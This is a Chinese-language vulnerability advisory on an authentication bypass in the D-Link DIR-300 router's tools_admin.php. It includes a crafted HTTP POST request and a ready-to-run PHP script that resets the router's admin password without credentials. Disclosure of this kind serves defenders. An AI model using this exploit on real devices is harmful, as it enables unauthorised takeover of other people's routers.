D-Link DIR-300 ‘tools_admin.php’安全绕过漏洞

漏洞起因
设计错误
危险等级

 
影响系统
D-Link DIR-300 2.01B1
D-Link DIR-300 1.05
D-Link DIR-300 1.04
D-Link DIR-300
 
不受影响系统
 
危害
远程攻击者可以利用漏洞绕过验证进行管理配置。
 
攻击所需条件
攻击者必须访问D-Link DIR-300。
 
漏洞信息
D-Link DIR-300是一款无线路由器设备。
控制面板脚本tools_admin.php允许攻击者更改管理员名字,密码和其他变量,未授权攻击者可以发送特制的HTTP POST请求更改这些参数:
—cut here—
POST http://192.168.1.1:80/tools_admin.php HTTP/1.1
Host: 192.168.1.2
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0
ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUT
H=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh
—cut here—
 
测试方法
—cut here—
<?php
if(sizeof($argv)!=4) {
echo "Usage: php5 $argv[0] <router ip addres> <port>
<admin password>\n";
exit;
}
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PORT, $argv[2]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AU
TH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3])
);
echo "+ starting request\n";
$out = curl_exec($ch);
if($out===false) {
echo "- Error: could not connect (
http://$argv[1]:$argv[2]/tools_admin.php).\n";
exit;
} else
echo "+ request sended\n";
curl_close($ch);
if(stripos($out,"Successfully")===false) {
echo "- something goes wrong (check answer – answer.html) !\n";
$f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);
exit;
}
else
echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>
—cut here—
 
厂商解决方案
目前没有详细解决方案提供:
http://www.dlink.com/
 
漏洞提供者
Karol Celia~Dsk
 
漏洞消息链接
http://www.securityfocus.com/archive/1/514687

发表评论?

0 条评论。

发表评论